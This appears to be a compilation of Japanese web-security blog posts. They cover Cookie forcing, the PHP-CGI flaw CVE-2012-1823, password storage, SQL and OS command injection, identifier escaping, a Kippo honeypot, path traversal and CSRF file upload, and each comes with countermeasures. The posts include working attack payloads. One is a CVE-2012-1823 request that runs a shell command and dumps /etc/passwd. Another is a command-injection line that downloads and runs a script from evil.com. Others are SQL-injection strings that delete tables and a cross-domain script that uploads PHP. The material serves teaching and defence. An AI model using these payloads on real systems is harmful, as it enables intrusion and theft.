• Secure属性がないCookieはHTTPSでも盗聴できる
• Cookieの改変についてはSecure属性でも防ぐことはできない

偽APを用意する

#net.ipv4.ip_forward=1
↓ コメントを取る
net.ipv4.ip_forward=1

Secure属性のないCookieを盗聴する

<img src="http://www.city.machida.kanagawa.jp:443/" width="1" height="1">

クッキーを強制する

• iptablesにより80番ポート宛のパケットをローカルの8080ポートにリダイレクトする

$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

• Burp Suiteをinvisibleモードに設定する

80番ポートを閉じているサイトの場合のクッキー強制方法

$ sudo iptables -t nat -L --line-numbers         ← 現在の状態を確認
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:http redir ports 8080
... 省略
$ sudo iptables -t nat -D PREROUTING 1           ← 1番のルールを削除
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dst 133.242.129.62 --dport 80 -j REDIRECT --to-port 80          ← 133.242.129.62:80来たパケットをローカルに

<?php
  header('Content-Type: image/gif');
  setcookie('PHPSESSID', 'image.php');
  echo base64_decode('R0lGODlhAQABAIgAAP///wAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==');

Cookieの強制はサイト側で防御できない

• Cookieはポートやプロトコル（http/https）をまたがって共有されている
• Cookieのsecure属性は平文でCookieを送信しないという設定であり、Cookieをセットする（受信する）場合には効果がない
• 既にsecure属性つきCookieがあっても、HTTPのsecure属性なしCookieで上書きされる（IE10、Google Chrome、Firefoxで確認）

Cookie Monster Bugの影響のないドメイン名でもセッション固定対策はしっかり行おう

• セッション固定脆弱性対策を行う。具体的には、ログイン成功後にセッションIDを振り直す
  session_regenerate_id(true);
• Cookieには、外部から変更されると困る値は入れない
• Cookieに攻撃文字列を入れるタイプのXSSの影響を受けるので、攻撃経路がCookieだからという理由で許容してはいけない

緩和策としてHTTP Strict Transport Securityが有効

Strict-Transport-Security: max-age=有効期間(秒); includeSubdomains

header('Strict-Transport-Security: max-age=2592000; includeSubdomains');  // HSTS30日間有効

• 対応ブラウザが本稿執筆時点でGoogle Chrome、Firefox、Operaであり、IEとSafariは未サポート
• 利用者が初めて訪問するサイトや、HSTSの期限切れの状態では効果がない

まとめ

• 用語としてIPA等で使われている一般的なもの(例:静的プレースホルダ)が用いられ、妥当と考えられる
• 対策手法についても、IPA「安全なウェブサイトの作り方」などで説明されている方法を正とし、独自の手法はほとんど見られない
• 「上級試験」ということで、かなり際どいところを攻めているという印象

session_regenerate_idの第1引数はどうすべきか

if (認証OKの場合) {
  $_SESSION['auth'] = true;
  session_regenerate_id( ● );
}

誤答がただちに危険なわけではない

正答が模範的なわけではない

本来は、認証確認後に直ちにsession_regenerate_idすべし

if (認証OKの場合) {
  session_regenerate_id( ● );
  $_SESSION['auth'] = true;
}

まとめ

setcookie('A', $misspelled_variable);
↓ 結果
Set-Cookie: A=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT

http://php.net/manual/ja/function.setcookie.php
陥りやすい失敗
クッキーは設定されたものと同じパラメータで削除する必要があります。 値が空文字列あるいは FALSE で、その他の全ての引数が前に setcookie をコールした時と同じである場合に、指定された名前のクッキーが リモートクライアント上から削除されます。 内部的な動作として、これは値を 'deleted' に変更した上で有効期限を 1 年前に設定しています。

Set-Cookie: A=deleted; expires=Sat, 20-Oct-2012 07:17:38 GMT

// PHP5.3.6
if (value && value_len == 0) {
time_t t = time(NULL) - 31536001;
  dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
  snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
  efree(dt);
} else {


// PHP5.3.7
if (value && value_len == 0) {
  dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, 1, 0 TSRMLS_CC);
  snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
  efree(dt);
} else {

設定ディレクティブ cgi.force_redirect は、 http://my.host/cgi-bin/php/secretdir/script.php のように URL から直接 PHP を呼び出すことを禁止します。 代わりに、 Web サーバーのリダイレクションにより処理された場合は、 PHP はこのモードでのみ処理を行います。 4.2.0 より古いバージョンの PHP では、コンパイル時のオプション --enable-force-cgi-redirect を使えば同じことができます。
http://www.php.net/manual/ja/security.cgi-bin.force-redirect.php

Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch.

このセキュリティチェックのコード（注:cgi.force_redirectの確認）に先だって、getopt（注:コマンドライン引数の処理）が呼ばれ、-d スイッチ を使用してcgi.force_redirectとcgi.redirect_status_envをゼロにすることができる。

POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d""+-d+open_basedir%3dnone+-d+auto_prepend_file%3dphp://input+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-n HTTP/1.1
Host: example.jp
Content-Length: 40

<?php system('cat /etc/passwd'); exit();

HTTP/1.1 200 OK
Date: Thu, 31 Oct 2013 22:26:58 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.4.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…省略

• CVE-2012-1823脆弱性のあるPHPをCGI環境で設定しているが、PHPスクリプトが存在しないので攻撃経路が無いと判断し、対策していないサイト
• CGI版PHPを設定していないが、/cgi-bin/ディレクトリにCVE-2012-1823脆弱なPHPバイナリがあるケース(これが意外にありそう)
• その他、CVE-2012-1823に対して本質的でない回避策をとっている場合

• 最新版のPHP（本稿執筆十点では、PHP5.3.27、PHP5.4.21、PHP5.5.5）を導入する
• /cgi-bin/等に使用していないPHP処理系がある場合は削除する

• 紙の本(Amazon)
• PDF版(達人出版会)
• PDF版(bookpub)
• Kindle
• Kobo
• Google Play

• DRMなしのPDFというオープンな規格なので将来にわたって資産が毀損される心配がない
• Kindle、Kobo、Google Playは固定レイアウトであり、PDFに比べてメリットがない
• bookpub版のPDFには印刷NGという制限があるが、達人出版会版は印刷も可

集計できた理由としてSCGのジェレミ・ゴスニー最高経営責任者（CEO）は、「Adobeがハッシュよりも対称鍵暗号を選び、ECBモードを選択し、全てのパスワードに同じ鍵を使っていたことや、ユーザーが平文で保存していたパスワード推測のヒントがあったおかげ」だと説明している。
Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用より引用

ECBモードで暗号化されていた

パスワードの「ヒント」が平文保存されていた

hints for WqflwJFYW3+PszVFZo1Ggg==: old company name, not adobe, before adobe, bought by adobe, it's macromedia, macromedia is the password
— Jeremi Gosney (@jmgosney) November 2, 2013

結局パスワードの保存はどうすればよいか

まとめ

• AdobeサイトのパスワードはトリプルDESで暗号化されていたが、実装の不備により平文パスワードが推測されてしまった
• 初期化ベクトルを使わないために同一パスワードが同一暗号文となる
• パスワードのヒントが暗号化されずに保存されていた
• そもそもパスワードのヒントという仕様がよくない（現在は削除されている）
• パスワードの保存にはソルト付きハッシュ + ストレッチングを使おう
• 暗号化の際は、適切なブロック暗号化モードと初期化ベクトルを用いること

参考:

• 本当は怖いパスワードの話
• Webアプリでパスワード保護はどこまでやればいいか
• いまさら聞けないパスワードの取り扱い方

GitHubは米国時間の2013年11月19日、ブルートフォース攻撃を受けたことを明らかにした。攻撃の時期や被害を受けたアカウント数は公にしていないが、今回の攻撃を踏まえ、より強固なパスワードや二要素認証などを利用するようユーザーに呼び掛けている。
GitHubにブルートフォース攻撃、一部のパスワードが破られるより引用

• 少数の「弱いパスワード」に対する試行と思われる
• 1アカウントに対して、時間をおいて少しずつ試行する「ゆっくりした攻撃」
• 4万のIPアドレスからの分散攻撃
• 攻撃のパターンからはパスワードリスト攻撃ではないと思われる

「辞書」のサイズはさまざまでしょうが、数十から数千くらいと推測されます。ペネトレーション検査等では数千以上の「大きな辞書」を使いますが、実際の攻撃では、1つのIDでちょっと試して、だめだったら次のIDで試した方が効率的のような気がします（攻撃対象が誰でも良い場合）。
パスワード攻撃に対抗するWebサイト側セキュリティ強化策より引用

• GitHubにホストされたソースにマルウェアを注入したかった（ソフトウェアは何でもよかった）
• GitHubのOAuthでログインできるサイトの不正利用
• その他

• アカウントロックを避けるために1アカウントあたり少ない試行で留める
• IPアドレスを4万に分散させ、IPアドレス単位のロックや監視をくぐり抜ける
• 試行を「ゆっくり」行うことにより、試行回数によるロックや監視をかいくぐる

• 推測しにくいパスワードを設定する（必須）
• 他のサイトで使っていないパスワードを設定する（必須）
• 二要素認証を有効にする（推奨）

• 「メールアドレスのルール」系まとめがそろって間違ってるのでご注意を
•  「メールアドレスのルール」なんて使ってはいけない3つの理由

<?php
  define('USERNAME', 'xxxxx');
  define('PASSWORD', 'xxxxx');

  $err = $id = $pwd = '';
  // ユーザID(メールアドレス)のバリデーション
  if (isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_EMAIL)) {
     $id = $_GET['id'];   // ユーザID
  } else {
     $err .= 'ユーザIDはメールアドレスを指定してください<br>';
  }
  // パスワード（英数字）のバリデーション
  if (isset($_GET['pwd']) && ctype_alnum($_GET['pwd'])) {
    $pwd = $_GET['pwd']; // パスワード
  } else {
     $err .= 'パスワードは英数字を指定してください<br>';
  }
  if ($err !== '') {
    die($err); // バリデーションエラーの場合はエラーメッセージを表示して終了
  }
  // データベースに接続
  $dbh = new PDO('mysql:dbname=test;host=localhost;charset=utf8', USERNAME, PASSWORD);
  // SQLの組み立て
  $sql = "SELECT * FROM users WHERE id ='$id' AND pwd = '$pwd'";
  $stmt = $dbh->query($sql);  // クエリー実行
?><html>
<body><?php
  echo 'sql= ' . htmlspecialchars($sql, ENT_NOQUOTES, 'UTF-8') . '<br>';
  if ($stmt->rowCount() > 0) { // SELECTした行が存在する場合ログイン成功
    echo "ログイン成功です(id:$id)";
  } else {
    echo 'ログイン失敗です';
  }
  $dbh = 0;
?></body>
</html>

"><script>alert('or/**/1=1#')</script>"@example.jp

• オレオレSQLセキュリティ教育は論理的に破綻している | yohgaki's blog
• 「プリペアードクエリが基本だけど、動的に SQL を組み立てる場合もあるから、そういう場合に備えてエスケープも知っておいたほうがいいかも」 - Togetterまとめ
• エスケープとプレースホルダをめぐる議論 - Togetterまとめ
• SQLインジェクション対策としてのプリペアドステートメントとエスケープについての議論 - Togetterまとめ
• IPAの「安全なSQLの呼び出し方」が安全になっていた | yohgaki's blog

ツイッターでの議論を見て「SQLエスケープを教える必要はない」とする原因は「教育の基本」と「セキュリティの基本」の理解不足が「根本的な原因」だと解ってきました。
オレオレSQLセキュリティ教育は論理的に破綻しているから引用

1. よくわかるPHPの教科書(たにぐちまこと著)

$sql = sprintf('INERT INTO my_items SET maker_id=%d 【略】', 
    mysql_real_escape_string($_POST['maker_id']));

2. いきなりはじめるPHP~ワクワク・ドキドキの入門教室~(谷藤賢一著)

3. 気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)

4. 基礎からのPHP(西沢 夢路著)

不謹慎ですが、P272で勉強する「SQLインジェクション対策」はまったくしていませんあくまで練習用ということでご了解ください。逆に後でSQLインジェクションを試してみるのも面白いかもしれません。

$u = htmlspecialchars($_POST['user'], ENT_QUOTES);
// 略
$ps = $db->query("SELECT pas FROM table2 WHERE id='$u'");

WHERE id='$u' and pwd pas='$p'    # WHERE句が左記の場合

$u ← \
$p ← or 1=1 #

WHERE句は下記となる

id='\' and pwd pas='or 1=1 #'
    ~~~~~~~~~~~~~~~
ここまでが文字列リテラル

5. かんたんWebプログラミング! これから始める人のPHP学習帖(小川 淳一著)

たとえば、X'masなど、送信されたデータにシングルクォートやダブルクォートが含まれていると、SQL文法エラーとなり、データ登録などの処理が実行されません。必ずhtmlspecialchars関数で無害しておきましょう。

6. パーフェクトPHP(小川 雄大、柄沢 聡太郎、橋口 誠著)

7. プロになるための PHPプログラミング入門(星野 香保子著)

8. PHP逆引きレシピ(鈴木 憲治他著)

9. PHP逆引きレシピ 第2版(鈴木 憲治他著)

10. 安全なSQLの呼び出し方

11. 体系的に学ぶ 安全なWebアプリケーションの作り方　脆弱性が生まれる原理と対策の実践(徳丸浩著)

◆ 文字列リテラルの問題
　SQLの標準規格では、文字列リテラルはシングルクォートで囲みます。文字列リテラル中にシングルクォートを含めたい場合は、シングルクォートを重ねる決まりです。これを「シングルクォートをエスケープする」と言います。このため、「O'Reilly」をSQLの文字列リテラルにすると、'O''Reilly'になります。
　ところが SQLインジェクション脆弱性のあるプログラムでは、シングルクォートを重ねる 処理が抜けているため次のようなSQL文が組み立てられます。

• 原理のところで簡単にエスケープを説明する
• 実務的な対策はプレースホルダ推奨
• どうしてもエスケープが必要な場合は安全なSQLの呼び出し方を読んでね

12. Webアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?(大垣 靖男著)

対策
SQL文のパラメータとなる入力が、数値型である場合は必ず数値型データであることを確認する。文字列型のデータである場合は必ずデータベースシステムにあったエスケープ方式で文字列をエスケープする。プリペアードクエリが利用できる場合は、プリペアードクエリを使用する。

基本的に、データベースが提供する文字列エスケープ関数をすべての変数に使用していれば、脆弱性は発生しません。注意しなければならないのは、データベースによって動作やエスケープしなければならない文字が異なることと、プリペアードクエリのサポートです。
　データベースがプリペアードクエリをサポートしている場合は、プリペアードクエリを使用した方がよいです。PostgreSQLはプリペアードクエリが利用できます。

まとめ

自分でパラメータを文字列連結しながらSQL文を組み立てている

• PHP初心者がSQLを呼び出す場合は、「ともかく文字列連結でSQL文を組み立てるな、プレースホルダを使え」という指導は有効
• SQLインジェクションについて深く知るためにはエスケープ処理を知る必要がある
• SQLの動的組み立てを必要とするフレームワーク、O/Rマッパー、データベース管理ツール等の開発には、上記ルールだけでは不足だが、少数の優れた開発者が担当するものであり、必要に応じて高度な技術を学んでもらえばよい

SELECT * FROM tb2 WHERE ban=1;delete from tb2

CREATE TABLE tb2(ban int, nam varchar(30));
INSERT INTO tb2 VALUES(1, 'usagi');

<?php
$b = "1";
$db = new PDO("mysql:host=192.168.xx.xx;dbname=db;charset=utf8", "xxxx", "xxxx");
$ps = $db->query("SELECT * FROM tb2 WHERE ban=$b");
while ($row = $ps->fetch()) {
  echo $row[0] . " : " . $row[1] . "\n";
}

$ php pdo.php
1 : usagi

$b = "1 or true;update tb2 set ban=ban+1";

SELECT * FROM tb2 WHERE ban=1 or true;
update tb2 set ban=ban+1

$ php pdo.php
1 : usagi
$ php pdo.php
2 : usagi
$ php pdo.php
3 : usagi

448:         int connect_opts = 0
449: #ifdef CLIENT_MULTI_RESULTS
450:                 |CLIENT_MULTI_RESULTS
451: #endif
452: #ifdef CLIENT_MULTI_STATEMENTS
453:                 |CLIENT_MULTI_STATEMENTS
454: #endif

クライアントが複数行クエリ（‘;’ をステートメントの区切りとする）を送信する可能性があることをサーバに通知する。このフラグが設定されていない場合、複数行クエリは無効。MySQL 4.1 の新機能。
MySQL :: MySQL 4.1 リファレンスマニュアル :: 11.1.3.43 mysql_real_connect()より引用

PDO+MySQLで複文実行できる条件

• MySQL4.1以上（上記から）
• PHP5.2.1以上（試験から）
• PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいない

Error Code: 1064
SQL Code: 42000
Error eessage: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb2 set ban=ban+1' at line 1

複文を実行できる影響

• データベースの更新（いわゆる改ざん）
• データベースの行削除やテーブルの削除
• 新規テーブルの作成
• 新規データベースの作成
• 新規ユーザの作成
• データベースの削除
• その他SQLにて実行可能なこと

対策

• 原則として文字列連結でSQL文を組み立てない
• パラメータはプレースホルダにより指定する
• 特別な事情がなければ静的プレースホルダを使う。元々その方が安全だが、PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false);により複文の実行も予防できる
• 詳しくはIPAの「安全なSQLの呼び出し方」を読む

まとめ

OSコマンドインジェクションとは

$param = $_GET['param'];
system("myprog $param");

myprog ; wget http://evil.com/bad.php ; php bad.php

OSコマンドインジェクション脆弱性の対策

• OSコマンドを呼ばずPHPの標準機能で何とかする
• OSコマンドに対して、外部から変更できるパラメータを指定しない
• OSコマンドに指定するパラメータを英数字に限定する

• OSコマンドインジェクション脆弱性の影響が甚大である
• シェルの文法の複雑性
• シェルの仕様が環境依存である可能性
• エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性

コマンド呼び出しとシェル

system('myps 10 ; pwd');

UID        PID  PPID  CMD
ockeghem 22244 20769  php system.php
ockeghem 22245 22244  sh -c cd '/home/ockeghem' ; myps 10 ; pwd
ockeghem 22246 22245  myps 10

import subprocess
subprocess.call(["myps", "10 ; pwd"])

UID        PID  PPID  CMD
ockeghem 22362 20769  python3 system.py
ockeghem 22363 22362  myps 10 ; pwd

system('myps', '10 ; pwd');

まとめ

• シェルのパラメータを正しく構成する
• シェルを経由しないでコマンドを起動する

変更履歴(2013/12/21 19:20)

• 間違いだらけのSQL識別子エスケープ(本稿)
• SQL識別子エスケープのバグの事例
• SQL識別子は結局どうすればよいか

SQL識別子のクォートとエスケープ

• 識別子が予約語になっている場合（例: "table"）
• 識別子に記号が含まれる場合（例: "j&j"）
• 識別子が数字で始まる場合（例: "0x"）

脆弱なスクリプトの説明

<?php
header('Content-Type: text/html; charset=Shift_JIS');
$table = $_GET['season'];
try {
  $db = new PDO("mysql:host=xxxxx;dbname=db;charset=sjis", "xxxx", "xxxx");
  $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $sql = "SELECT * FROM $table";
  $ps = $db->query($sql);
  // 検索結果の表示
} catch (Exception $e) {
  echo htmlspecialchars($e->getMessage(), ENT_COMPAT, 'Shift_JIS');
}

SELECT * FROM tb2

単純なSQLインジェクション

/search.php?season=tb2;delete+from+tb2

SELECT * FROM tb2;delete from tb2

  $sql = "SELECT * FROM `$table`";

SELECT * FROM `tb2;delete from tb2`

バッククォート「`」によるSQLインジェクション

/search.php?season=tb2`;delete+from+tb2%23

SELECT * FROM　`tb2`;delete from tb2#`

// 識別子エスケープ関数
function escape_ident($id) {
  return preg_replace('/`/', '``', $id);
}
  // 中略
  $etable = escape_ident($table);
  $sql = "SELECT * FROM `$etable`";

SELECT * FROM `tb2``;delete from tb2#`

文字エンコーディングの取り扱い不備によるSQLインジェクション

search.php?season=%8d%60;delete+from+tb2%23

SELECT * FROM `港`;delete from tb2#`

function escape_ident($id) {
  mb_regex_encoding('Shift_JIS');
  return mb_ereg_replace ('`', '``', $id);
}

sql-mode="ANSI"

$sql = "SELECT * FROM \"$etable\""

MySQLの設定考慮漏れに起因するSQLインジェクション

/search.php?season=tb2";delete+from+tb2%23

SELECT * FROM "tb2";delete from tb2#"

任意テーブルの情報漏洩

/search.php?season=users

SELECT * FROM "users"

最終的にどうしたか

$season_tables = array(1 => 'tb1', 2 => 'tb2', 3 => 'tb3', 4 => 'tb4');
$season = $_GET['season'];
if (! isset($season_tables[$season])) {
  die('invalid "season"');
}
$table = $season_tables[$season];
$sql = "SELECT * FROM $table";

とりあえずのまとめ

• 識別子のクォートもれ
• 識別子のエスケープもれ
• 識別子エスケープの際の文字エンコーディング対応不備
• MySQLのANSI_QUOTESモードの考慮洩れ
• 外部から指定するテーブル名の権限のチェック洩れ

MySQL Workbenchには識別子のエスケープに関するバグがあった

SELECT * FROM `db`.`a`b`;

SELECT * FROM `db`.`a``b`;

識別子のエスケープ漏れによるSQLインジェクション

SELECT * FROM `db`.`a`union select * from bbs.`users`;

CREATE TABLE `a``union select * from bbs.``users` (x int);

CREATE TABLE a  (x varchar(64), y varchar(64), z varchar(64));

MySQL Workbenchの識別子エスケープ漏れは脆弱性か?

識別子のエスケープ漏れと脆弱性の関係

まとめ

• 間違いだらけのSQL識別子エスケープ
• SQL識別子エスケープのバグの事例

SQL文が動的に変化する場合のSQLインジェクション対策

• SQL文を構成するリテラル、識別子、予約語などを正しく構成する（条件A）
• テーブルや列、行などの権限があることを保証する（条件B）

• 文字列連結でSQL文を組み立てるな（原則1）
• パラメータはプレースホルダで指定せよ（原則2）

識別子やリテラルのエスケープ処理はSQL文を変化させないことが目的

$sql = "SELECT * FROM books WHERE author='$author'";

SELECT * FROM books WHERE author=''; delete from books#'

$sql = "SELECT * FROM `$booktable`"

SELECT * FROM `books`; delete from `books`

SQL識別子に関しては「もっと良い方法」がある

• データベース管理ツールを作成していて､識別子はユーザ入力である（局面１）
• アプリケーション内でテーブル名や列名をジェネレートしており、これらを構成する文字として引用符が使われる可能性がある（局面2）

識別子が正しく構成されることを保証する方法1: 入力値検証

\Atb[1-4]\z

「入力値検証」によるSQLインジェクション対策の課題

• 入力値検証とSQL文組み立てはソースコード上の場所が離れている場合が多く、確認がしにくい
• 入力値検証と、組み立て後のSQL文の妥当性の関係が自明でない場合、仕様や実装の不備により脆弱性となりやすい
• 入力値検証とSQL組み立ては担当者が異なる可能性があり、仕様理解に差異があると、脆弱性混入の原因になる
• SQL文の妥当性は、SQL文組み立ての箇所で担保されるべきである

識別子が正しく構成されることを保証する方法2: 外部由来の値をSQL文に混ぜない

$ident = sprintf("tb%03d", $n);

蛇足: SQL識別子エスケープの困難性

まとめ

• SQLの識別子に使う文字は、英数字とアンダースコアに限定する
• 外部からの値から識別子を生成する場合は、表名の配列などを使用することにより、外部由来の値を識別子に（ひいてはSQL文に）混ぜないこと
• SQL予約語についても同様に扱う
• SQL文に指定する値はプレースホルダを用いる

• 文字列連結でSQL文を組み立てるな
• パラメータはプレースホルダで指定せよ

1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
6. ロリポップ上のWordPressをWAFで防御する方法
7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
11. SQLの暗黙の型変換はワナがいっぱい
12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
14. Evernoteのテキストを暗号化する方法
15. IE10にはパスワード表示ボタンが付いている

1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
6. ロリポップ上のWordPressをWAFで防御する方法

4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起

14. Evernoteのテキストを暗号化する方法

2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
15. IE10にはパスワード表示ボタンが付いている

13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した

5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
11. SQLの暗黙の型変換はワナがいっぱい
12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に

9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について

digitanOceanのアカウントを作成する

kippo用のインスタンス(Droplet)を作成する

Hostname: kippo                   ← なんでもよい
Select Size: 512MB / 1 CPU  ← できるだけお安いもの
Select Region: New York 2     ← サンフランシスコリージョンが使えないようなのでNew Yorkで
Select Image
Linux Distributions: Ubuntu
Ubuntu 12.04.3 x32              ← Ubuntu 12.04.03 32ビットを選択
Settings: そのままでよい

Ubuntuのセットアップ

# adduser yamada    ← 一般ユーザの管理者。パスワードはしっかり管理
# gpasswd -a yamada sudo    ← yamadaをsudo可能なグループに追加
# adduser kippo       ← kippo実行用ユーザ。パスワードは捨てて良い
# passwd                            ← rootパスワードを変更しておく。捨てて良い

# vi /etc/ssh/sshd_config

##Port 22       ← コメントアウト
Port 10022     ← 追加

# service ssh restart

yamada@kippo:~$ sudo whoami
root                                     ← これを確認した段階で root側の端末はexitして良い
yamada@kippo:~$

yamada@kippo:~$ sudo apt-get update
yamada@kippo:~$ sudo apt-get -y install python-crypto
yamada@kippo:~$ sudo apt-get -y install python-twisted
yamada@kippo:~$ sudo apt-get -y install python-zope.interface
yamada@kippo:~$ sudo apt-get -y install python-pyasn1

yamada@kippo:~$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-port 2222

kippoのインストール

yamada@kippo:~$ sudo su - kippo

kippo@kippo:~$ wget http://kippo.googlecode.com/files/kippo-0.8.tar.gz
kippo@kippo:~$ tar xf kippo-0.8.tar.gz
kippo@kippo:~$ cd kippo-0.8/

kippo@kippo:~/kippo-0.8$ vi kippo.cfg
※ ファイルの末尾にジャンプ
[database_textlog]            ← コメントアウトの#を消す
logfile = kippo-textlog.log    ← 同上

kippoの起動

kippo@kippo:~/kippo-0.8$ ./start.sh   ← kippoの起動
Starting kippo in background...Loading dblog engine: textlog
Generating RSA keypair...
done.
kippo@kippo:~/kippo-0.8$

監視する

kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log

色々遊ぶ

nas3:~# w定番の w コマンド
 00:32:10 up 0 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    xxx.xxx.xxx.xxx   00:31    0.00s  0.00s  0.00s w
nas3:~# wget http://example.jp/
--2014-01-07 00:32:16--  http://example.jp/
Connecting to example.jp:80... connected.
HTTP request sent, awaiting response... DNS lookup failed: address 'example.jp' not found: [Errno -2] Name or service not known.
nas3:~# ps -ef
 PID TTY         TIME COMMAND
5673 pts/0       0:00 -bash
5679 pts/0       0:00 ps -ef
nas3:~# exit

ログを見て楽しむ

kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log  (続き)
01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:48]: New connection: xxx.xxx.xxx.xxx:xxxx
01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:58]: Login failed [root/admin]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:04]: Login succeeded [root/123456]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:05]: Terminal size: 90x35
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:10]: Command [w]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:16]: Command [wget http://example.jp/]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:41]: Command [ps -ef]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:33:14]: Command [exit]
01429996775d11e3b8c304010e82e801 [2014-01-07 00:34:16]: Connection lost

kippoを終了する

kippo@kippo:~/kippo-0.8$ kill `cat kippo.pid`
kippo@kippo:~/kippo-0.8$

まとめ

$file = $_GET['file'];
readfile(basename($file));

• ファイル名として、basename関数を通しただけのパス名を指定している
• ディレクトリの指定をしていない。

• ルートディレクトリに重要情報があり、ファイル名を知る手段があれば、情報漏洩となる
• 指定したファイルに書き込みができる場合、ルートディレクトリの任意ファイル名で書き込みができる(*1)

• ディレクトリ修飾をしていないので、カレントディレクトリのPHPソースファイルにアクセスできる可能性が高い
• 書き込みできるスクリプトの場合、任意内容のPHPスクリプトを外部から書き込むことにより、スクリプトインジェクションができてしまう

• 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。(3-(i)-a)
• ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含まれないようにする。(3-(i)-b)

$dir = '/home/www/image/';
…
$file_name = $_GET['file_name'];
…
if(!file_exists($dir . basename($file_name))) {
  $file_name = 'nofile.png';
}
$fp = fopen($dir . basename($file_name),'rb');
fpassthru($fp);

はじめに

気づけばプロ並みPHP （著）谷藤賢一 （発行）リックテレコムP１１２の画像をアップロードする機能でエラーがでます。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496より引用

<?php
// 略
$pro_gazou=$_FILES['gazou'];
// 略
if($pro_gazou['size']>0) {
  if ($pro_gazou['size']>1000000) {
    print'画像が大き過ぎます。';
  } else {
move_uploaded_file($pro_gazou['tmp_name'],'./gazou/'.$pro_gazou['name']);
    print'<img src="./gazou/'.$pro_gazou['name'].'" />';
    print'<br />';
  }
}

• PHPスクリプトをアップロードされ、攻撃者がリモートから任意のスクリプトをWebサーバー上で実行できる
• HTMLファイルをアップロードされ、利用者のブラウザ上で任意のJavaScriptを当該ドメイン上で実行されられる(XSSと同等の影響)

ファイルアップロードの脆弱性

CSRF攻撃によるファイルアップロードの可能性

POST /pro_add_check.php HTTP/1.1
Host: example.jp
Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: multipart/form-data; boundary=--BNDRY
Content-Length: 128

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();※任意のPHPコード

----BNDRY--

XHR Level2によるクロスドメインのファイルアップロード

<body>
<script>
  // 以下は送信するHTTPリクエストボディの中身
  // \n\ は改行(\n) と 継続行(行末の\)を示す
  data = '\
----BNDRY\n\
Content-Disposition: form-data; name="file"; filename="a.php"\n\
Content-Type: text/plain\n\
\n\
<?php phpinfo();\n\
\n\
----BNDRY--\n\
';

  var req = new XMLHttpRequest();
  req.open('POST', 'http://example.jp/pro_add_check.php');
